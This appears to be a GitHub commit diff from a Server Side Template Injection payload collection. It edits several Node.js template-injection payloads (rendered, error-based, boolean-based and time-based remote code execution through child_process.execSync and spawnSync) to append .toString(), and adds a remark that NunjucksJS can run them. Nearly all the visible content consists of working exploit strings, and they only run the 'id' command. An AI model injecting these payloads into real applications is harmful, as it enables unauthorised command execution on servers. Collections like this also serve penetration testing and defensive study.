File tree Expand file tree Collapse file tree 1 file changed +4
-4
lines changed
Server Side Template Injection Expand file tree Collapse file tree 1 file changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -41,17 +41,17 @@ To use these payloads, wrap them in the appropriate tag.
4141
4242``` javascript
4343// Rendered RCE
44- global .process .mainModule .require (" child_process" ).execSync (" id" )
44+ global .process .mainModule .require (" child_process" ).execSync (" id" ). toString ()
4545
4646// Error-Based RCE
47- global .process .mainModule .require (" Y:/A:/" + global .process .mainModule .require (" child_process" ).execSync (" id" ))
48- " " [" x" ][global .process .mainModule .require (" child_process" ).execSync (" id" )]
47+ global .process .mainModule .require (" Y:/A:/" + global .process .mainModule .require (" child_process" ).execSync (" id" ). toString () )
48+ " " [" x" ][global .process .mainModule .require (" child_process" ).execSync (" id" ). toString () ]
4949
5050// Boolean-Based RCE
5151[" " ][0 + ! (global .process .mainModule .require (" child_process" ).spawnSync (" id" , options= {shell: true }).status === 0 )][" length" ]
5252
5353// Time-Based RCE
54- global .process .mainModule .require (" child_process" ).execSync (" id && sleep 5" )
54+ global .process .mainModule .require (" child_process" ).execSync (" id && sleep 5" ). toString ()
5555```
5656
5757NunjucksJS is also capable of executing these payloads using ` {{range.constructor(' ... ')()}} ` .
You can’t perform that action at this time.
0 commit comments